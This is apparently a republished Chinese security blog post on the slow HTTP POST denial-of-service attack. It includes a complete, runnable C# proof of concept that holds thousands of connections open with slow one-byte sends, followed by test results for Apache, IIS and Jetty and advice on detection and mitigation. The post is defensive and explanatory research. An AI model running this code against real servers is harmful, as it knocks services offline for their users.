HTTP POST慢速DOS攻击初探
1. 关于HTTP POST慢速DOS攻击
HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上，由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力。他们的slides在这里：
http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html
这个攻击的基本原理如下：
针对任意HTTP Server，建立一个连接，指定一个比较大的content-length，然后以很低的速度发包，比如10-100s发一个字节，hold住这个连接不断开。如果客户端持续建立这样的连接，那么服务器上可用的连接将很快被占满，从而导致DOS.
这一攻击引起我注意的原因有这几点：
1. 它可以针对任意Web服务。HTTP协议在接收到request之前是无法对请求内容作校验的，所以即使你的Web应用没有可用form表单，这个攻击一样有效。
2. 廉价。在客户端以单线程方式建立较大数量的无用连接，并保持持续发包的代价非常低廉。实际试验中一台普通PC可以建立的Socket连接在3000个以上。这对一台普通的web server，将是致命的打击。更不用说结合肉鸡群做分布式DOS了。
2. 攻击示范
为演示这个攻击，我做了一个简单的POC，C#代码如下。
using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;
namespace HTTPPostDoS
{
class TestDemo
{
static void Main(string[] args)
{
string host = "target";
int port = 8080;
int max_number_of_connection = 3000;
List<TcpClient> clients = new List<TcpClient>();
for (int i = 0; i < max_number_of_connection; i++)
{
TcpClient client = new TcpClient();
clients.Add(client);
client.Connect(host, port);
if (client.Connected)
{
string header = "POST /a HTTP/1.1\r\n" +
"HOST: " + host + "\r\n" +
"Connection: keep-alive\r\n" +
"Keep-Alive: 900\r\n" +
"Content-Length: 100000000\r\n" +
"Content_Type: application/x-www-form-urlencoded\r\n" +
"Accept: *.*\r\n";
int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));
if (sent <= 0)
{
Console.WriteLine("Error while connecting to server");
}
else
{
Console.WriteLine("Connected");
}
}
}
while (true)
{
int i = 0;
foreach (TcpClient client in clients)
{
i++;
client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));
Console.WriteLine("Client " + i + " just sent a byte.");
}
Thread.Sleep(1000);
}
}
}
}这段代码向目标服务器的示例Web Server发起攻击，每秒钟向服务器post一个字节以保证连接不会过期。
这个攻击对Apache的效果十分明显，Apache的maxClients几乎在瞬间被hold住，浏览器在攻击进行期间无法访问测试页面。
但是针对IIS的攻击被证明没有效果，同时我还测试了公司使用最多的Jetty，有了更多有意思的发现。
3. Jetty Server 在NIO和BIO模式下对此攻击的不同反应
在针对Jetty做测试时，我发现针对不同的Jetty Connector配置，攻击的效果有天壤之别。
我们知道Jetty在配置Connector时，可以有NIO和BIO两种模式供选择。当使用BIO模式时，Jetty的max thread被瞬间耗尽，服务停止。但是在使用NIO模式时，即使客户端的恶意socket连接数已经达到3000个，但是服务依然没有受到任何影响。这个应该很好理解，由于这两种模式下的Connector直接影响到服务端处理Socket的模型。IIS的情况我不是很清楚，但是猜测MS在实现时采用了NIO Socket模型。
详细的配置情况，请参见Jetty的官方文档。
其它的Web Server，我没有做进一步测试。如有兴趣请自行验证。
4. 检测与防范
目前针对Apache服务器，官方尚没有解决方案出台。建议：
1. 检查日志，查找类似的错误报警：
[error] server reached MaxClients setting, consider raising the MaxClients setting
看看有没有被这种攻击盯上。
2. 调整防火墙设置。有条件的，在IPS上做一下规则设置。
注意这些都还只是暂时措施，因为这种攻击的变化可能很多，事实上使用HTTP GET也可以达到一样的效果。要知道GET也是可以传输数据的。
针对Jetty服务器，强烈建议使用NIO非阻塞模式，对服务器可以起到很好的保护作用。
相关阅读：
1. New HTTP POST DDoS Attack Tools Released
2. Wong Onn Chee 和Tom Brennan的Paper
3. Using HTTP POST for denial of service
补充1：我的同事，Active安全经理Eric Zhong和应用安全工程师Vian Ma对此文有贡献，谨此致谢
补充2：凤凰网的孙立先生指出，微软的IIS实现了完成端口(IOCP)，IO效率相当高。这解释了为何此攻击对IIS无效。
原文地址：http://www.unclejoey.com/2010/12/28/http-post%E6%85%A2%E9%80%9Fdos%E6%94%BB%E5%87%BB%E5%88%9D%E6%8E%A2/
相关文章：
Java 学习（20）--异常 / IO 流
异常（Exception） (1)程序出现的不正常的情况。 (2)异常的体系 Throwable（接口，将异常类对象交给 JVM 来处理） |--Error 严重问题，我们不处理。(jvm 错误，程序无法处理) |--Exception 异常 …
runtime自动归档/解档
原文出自：标哥的技术博客 前言 善用runtime，可以解决自动归档解档。想想以前归档是手动写的，确实太麻烦了。现在有了runtime，我们可以做到自动化了。本篇文章旨在学习如何通过runtime实现自动归档和解档，因此不会对所有…
Ivanti 洞察职场新趋势：71% 的员工宁愿放弃升职也要选择随处工作
近日，为从云端到边缘的 IT 资产提供检测、管理、保护和服务的自动化平台供应商 Ivanti 公布了其年度无处不在的办公空间（ Everywhere Workplace） 调查结果。这项调查是Ivanti与全球“未来工作”专家共同完成的，调查范围涵盖 6100 …
Shippable和Packet合作提供原生ARM CI/CD
DevOps自动化平台Shippable和裸金属云服务提供商Packet联合发布了一种新的持续集成和交付（CI/CD）托管服务，适用于在Armv8-A架构上开发软件应用的开发人员。该解决方案支持开源和商业软件项目，用于在Packet提供的基于ARM的云服务上…
阿里云ECS架设***过程总结
原文地址:最近开发移动项目,数据库服务是架设在电信服务器上,可怜我的联通网络本地调试直接x碎了一地!!度娘相关资料后,最终决定在阿里云ECS上架设作为跳板来访问电信服务器!一.原理1.阿里云ECS上架设.2.本地连接使用拨号到阿里云ECS.3.使用阿里云ECS网络访问电信服务器.使用前…
MYSQL的MERGE存储引擎
MYSQL的引擎不是一般的多，这次说到的是MERGE，这个引擎有很多特殊的地方： MERGE引擎类型允许你把许多结构相同的表合并为一个表。然后，你可以执行查询，从多个表返回的结果就像从一个表返回的结果一样。每一个合并的表必…
Pandas SQL 语法归纳总结，真的太全了
作者 | 俊欣来源 | 关于数据分析与可视化对于数据分析师而言，Pandas与SQL可能是大家用的比较多的两个工具，两者都可以对数据集进行深度的分析，挖掘出有价值的信息，但是二者的语法有着诸多的不同，今天小编就来总结归纳一…
分布式RPC实践--Dubbo基础篇
2019独角兽企业重金招聘Python工程师标准>>> 简介 Dubbo是阿里巴巴开源的一个高性能的分布式RPC框架，整个框架的核心原理来源于生产者与消费者的运作模型；框架的核心分4大部分： 1. 服务注册中心 注册中心主要用于保存生产者消费者…
又居家办公了，要签合同怎么办？
本篇文章暨 CSDN《中国 101 计划》系列数字化转型场景之一。 《中国 101 计划——探索企业数字化发展新生态》为 CSDN 联合《新程序员》、GitCode.net 开源代码仓共同策划推出的系列活动，寻访一百零一个数字化转型场景，聚合呈现并开通评选通道࿰…
lombox的用法（省去了set/get/NoArgsConstructor/AllArgsConstructor）
1、环境的搭建，在eclipse下的eclipse.ini中添加以下参数，-Xbootclasspath/a:C:\repository\org\projectlombok\lombok\1.16.6\lombok-1.16.6.jar-javaagent:C:\repository\org\projectlombok\lombok\1.16.6\lombok-1.16.6.jar重启你的eclipse.2、将lombo…
mysql 压力测试脚本
#创建表DEPTCREATE TABLE dept( /*部门表*/deptno MEDIUMINT UNSIGNED NOT NULL DEFAULT 0,dname VARCHAR(20) NOT NULL DEFAULT "",loc VARCHAR(13) NOT NULL DEFAULT "") ENGINEMyISAM DEFAULT CHARSETutf8 ;#创建表EMP雇员CREATE TABLE emp(empno…
C++语言学习（十二）——C++语言常见函数调用约定
C语言学习（十二）——C语言常见函数调用约定 一、C语言函数调用约定简介 C /C开发中，程序编译没有问题，但链接的时候报告函数不存在，或程序编译和链接都没有错误，但只要调用库中的函数就会出现堆栈异常等现象…
PHP代码保护——Zend Guard
Zend Guard的作用，就是用编译处理的方式来保护PHP源代码免于被反编译查看、未经授权的定制修改、未经许可的使用和重新发布等。而且，它是PHP的东家Zend公司开发的，是完全为PHP量身定做的保护神。 下面，请大家就和我一起来学习使用…
Python 2.4 递归函数
递归函数在函数内部，可以调用其他函数。如果一个函数在内部调用本身，这个函数就是递归函数。举个例子：计算阶乘n!1*2*3*4*5*...*n，用函数fact(n)表示，可以看出fact(n)n!f(n-1)*n所以，fact(n)可以表示为n*fa…
生于俄罗斯的 Web 服务器王者 Nginx，现宣布俄罗斯禁止贡献！
作者 | 苏宓出品 | CSDN不久之前，一些底层工具、软件、开源项目相继宣布在俄罗斯停服，彼时也有不少开发者呼吁 Nginx 是时候进行反限制了。万万没想到，就在国际局势发生改变的一个月后，Nginx 动了手，但是有些「意料之外…
OCP换考题了，052新考题及答案整理-第17题
17、Which two statements are true about tablespaces? A) A database can contain multiple undo tablespaces. B) A database can contain only a single temporary tablespace. C) A database instance stores undo data In the SYSTEM tablespace If no undo tablespace …
linux的mount（挂载）命令详解
linux下挂载（mount）光盘镜像文件、移动硬盘、U盘、Windows和NFS网络共享 linux是一个优秀的开放源码的操作系统，可以运行在大到巨型小到掌上型各类计算机系统上，随着 linux系统的日渐成熟和稳定以及它开放源代码特有的优越性&…
GPT-3 再更新，新增编辑和插入文本功能，简直不要太好用！
编译 | 禾木木出品 | AI科技大本营（ID:rgznai100）GPT-3 是 OpenAL 提出的基于上下文的超大规模自然处理深度学习模型。这意味着如果你给 GPT-3 某些上下文内容时，它会试图去填充其余内容。例如给出句子的前部分，它会推测出下半部分…
scala akka 修炼之路5(scala特质应用场景分析)
scala中特质定义：包括一些字段，行为(方法/函数/动作)和一些未实现的功能接口的集合，能够方便的实现扩展或混入到已有类或抽象类中。 scala中特质(trait)是一个非常实用的特性，在程序设计中能够 更好的抽象现实。使程序更关注各自功…
6.2 sql安全性
最后的例子将显示如何通过现有证书创建-个新的用户。本章稍后会介绍证书，但在 这个例子中，首先创建证书，然后创建用户： USE AdventureWorks2008; CREATE CERTIFICATE SalesCert ENCRYPTION BY PASSWORD Pssw0rd WITH SUBJECT fSa…
2022，人工智能开启未来新密码
作者 | 剑客阿良_ALiang（胡逸） 出品 | AI科技大本营（ID:rgznai100） 购买大型电器、汽车，你是否会询问有没有智能语音功能？是的，潜移默化中人们已经不再将人工智能当作魔术，而是习以为…
PHP Socket配置以及实例
2个php测试文件 server.php <?php//phpinfo();//确保在连接客户端时不会超时set_time_limit(0);$ip 127.0.0.1;$port 1935;/*-------------------------------* socket通信整个过程-------------------------------* socket_create* socket_bind* socket_lis…
Windows下msysGit使用及相关配置
Windows下msysGit使用及相关配置
使用可信证书为windows RDP服务提供加密
2019独角兽企业重金招聘Python工程师标准>>> 0x01 前言 在windows server下可以通过配置远程桌面服务为RDP连接提供有效的数字证书以便提高安全性。 可是个人用户或并没有部署域控制器的用户是无法通过这种途径修改RDP所使用的数字证书，在不安全的环境中…
JavaScript跨域总结与解决办法
JavaScript跨域总结与解决办法 什么是跨域1、document.domainiframe的设置2、动态创建script3、利用iframe和location.hash4、window.name实现的跨域数据传输5、使用HTML5 postMessage6、利用flash本文来自网络（http://f2e.me/200904/cross-scripting/，该…
这几个 Python 的小技巧，你会么？
来源丨Python小二作者 Peter Gleeson 是一名数据科学家，日常工作几乎离不 python。一路走来，他积累了不少有用的技巧和 tips，现在就将这些技巧分享给大家。这些技巧将根据其首字母按 A-Z 的顺序进行展示。ALL OR ANYPython 之所以成为这么一门…
如何创建可扩展表视图中的iOS 学习和拓展优化（有待更新）
首先介绍老外的文章：《How To Create an Expandable Table View in iOS》这是老外用Swift实现的，对应的老外github项目源码：https://github.com/appcoda/expandable-table-view小编经过学习了老外的Expandable Table View然后用Objective-C实…
String、StringBuffer、StringBuilder的理解
问题: 理解 Java的字符串，String、StringBuffer、StringBuilder 有什么区别？ 知识点 字符串设计和实现考量 String是Immutable(线程安全、字符串常量池复用)。Immutable对象在拷贝时候不需要额外复制数据。至于为什么imumutable，源码如下&…
Linux(centos6.0)下安装Node.js以及使用
Linux下(centos6.0)安装Node.js1.wget http://nodejs.org/dist/node-v0.6.9.tar.gz tar zxvf node-v0.6.9.tar.gz cd node-v0.6.9 ./configure --prefix/usr/local/node ----------安装提示-------------Checking for program g or c : not found Checking for progr…
Pandas 中的这些函数/属性将被 deprecated
作者 | luanhz来源丨小数志导读Pandas对于日常数据分析和处理来说是最常用的工具（没有之一），笔者之前也总结分享了很多相关用法和技巧。与之不同，今天本文来介绍几个已经在函数文档中列入"deprecated"的函数/属性&#…